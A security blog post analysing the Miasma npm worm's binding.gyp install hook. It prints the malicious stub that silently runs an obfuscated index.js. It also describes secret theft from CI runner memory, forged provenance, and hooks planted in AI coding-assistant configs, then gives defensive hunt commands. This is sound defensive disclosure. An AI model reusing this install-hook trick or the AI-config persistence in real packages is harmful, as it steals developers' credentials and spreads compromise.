osbytes

Search

Find posts, projects, and members.

← back to blog

Miasma hides in binding.gyp so install-script scanners see nothing

2026-06-04by@osbytes7 min read
#security #npm #supply-chain #github-actions #node-gyp #credentials

TL;DR

  • Wiz Research posted a June 4, 9:20 UTC update on the Miasma npm worm: a new wave uses binding.gyp, not package.json lifecycle scripts, to run code during npm install.
  • StepSecurity's writeup (published June 3) names the hook Phantom Gyp: 57 packages, 286+ malicious versions, first hit @vapi-ai/server-sdk at 23:30 UTC June 3, then a rolling blast across jagreehal maintainer families (ai-sdk-ollama, autotel, awaitly, executable-stories, and others).
  • The 157-byte binding.gyp makes npm run node-gyp rebuild; gyp command substitution runs a 4+ MB root index.js while package.json lists "main": "./dist/index.js" and declares no install scripts.
  • After install: download Bun, scrape GitHub Actions runner memory for masked secrets, harvest cloud tokens, forge SLSA/Sigstore provenance, republish infected tarballs, and drop .claude/setup.mjs, .cursor/rules/setup.mdc, and similar files into repos the stolen token can write to.

Why this morning's advisory matters

Miasma is not a new name if you read supply-chain mail this week. Microsoft's June 2 post documents the June 1 @redhat-cloud-services/* wave: preinstall hooks, OIDC publishing from hijacked GitHub Actions, tarballs that still carried valid provenance. We covered the TanStack-shaped variant in May: poisoned CI, runner memory, trusted publishing.

Today's artifact is Wiz's June 4 changelog line: same payload family, different install surface. Security teams that only grep package.json for "preinstall" or "postinstall" will miss it entirely.

Phantom Gyp: node-gyp is the script

npm runs node-gyp rebuild whenever a published tarball ships a binding.gyp, even when the package is pure JavaScript and "main" points at ./dist/. StepSecurity recovered this file from executable-stories-demo@0.1.11 (SHA-256 ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90 across versions):

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

The <!(...)> substitution runs node index.js during the gyp configure step. Output goes to /dev/null; && echo stub.c hands gyp a fake source name so the build does not error. Your lockfile scanners that flag lifecycle scripts never see a hook declared in package.json.

The tarball layout StepSecurity published is the tell:

  • binding.gyp: 157 bytes, malicious.
  • Root index.js: ~4.5 MB obfuscated (not the package entry point).
  • dist/index.js: ~27 KB, the real library, untouched.

Legitimate apps import from dist/; only install-time gyp touches the root blob.

What runs after gyp fires

StepSecurity ran @vapi-ai/server-sdk@1.2.2 under Harden-Runner audit mode and captured the process tree. Rough sequence: npm installnode-gyp rebuildnode index.jscurl Bun v1.3.13 from GitHub releases → bun run /tmp/p{random}.jsgh auth tokensudo python3 reading /proc/<Runner.Worker>/mem → shell pipeline hunting JSON shaped like GitHub Actions masked secrets → api.github.com uploads to repos under liuende501.

Decoded payload strings StepSecurity lists include AWS/GCP/Azure/Vault/Kubernetes collectors, npm bypass_2fa publish paths, and RubyGems extconf.rb injection templates. The worm can repack tarballs, request Fulcio/Rekor attestations, and push versions that look supply-chain-clean to provenance checkers.

Exfil repos on liuende501 use descriptions like "Miasma - The Spreading Blight" or a reversed "Shai-Hulud: Here We Go Again" string (StepSecurity ties that to their June 1 Red Hat writeup). Treat any machine that installed listed versions during the exposure window as compromised, not merely "possibly affected."

The part that poisons your editor, not just your registry token

This variant adds AI assistant config drops into repositories the malware can push to:

  • .claude/setup.mjs (Claude Code SessionStart hook)
  • .cursor/rules/setup.mdc
  • .gemini/settings.json
  • .vscode/tasks.json with runOn: folderOpen

StepSecurity says the injected files run under Bun, not Node, so process-tree monitors keyed on node miss them. The social-engineering line in-repo: "required for proper IDE integration and dependency setup." Once that file lands on main, every teammate who opens the project in an AI-assisted IDE inherits the hook.

That is a different failure mode from "we published a bad tarball once." It is persistent workspace poisoning.

What to do on your side

If you installed any version in StepSecurity's table during the exposure window, assume secrets on that host and in reachable CI are burned. Rotate npm tokens, GitHub PATs and Apps, cloud roles, Vault tokens, and anything else the runner or laptop could touch. Check for surprise repos, publishes, or workflow runs you did not author.

Hunt before the next install:

# binding.gyp with the Phantom Gyp stub pattern
find node_modules -name binding.gyp -exec grep -l 'stub.c' {} \;

# Root index.js far larger than dist/ (example threshold)
find node_modules -maxdepth 2 -path '*/index.js' -size +1M

# AI assistant backdoors
ls -la .claude/setup.mjs .cursor/rules/setup.mdc \
  .gemini/settings.json .vscode/setup.mjs 2>/dev/null

CI jobs that do not need native builds: set ignore-scripts=true in the job .npmrc (npm docs). That blocks lifecycle scripts; it does not stop npm from invoking node-gyp when binding.gyp is present. For those packages you need lockfile review, install blocking on new publishes, or tooling that inspects tarball contents before install.

Registry-side: StepSecurity points at minimum release age gates and malicious-package DBs; npm's staged publishing (GA in CLI 11.15.0, GitHub changelog May 22) helps maintainers, not consumers who already trust a maintainer account.

Sources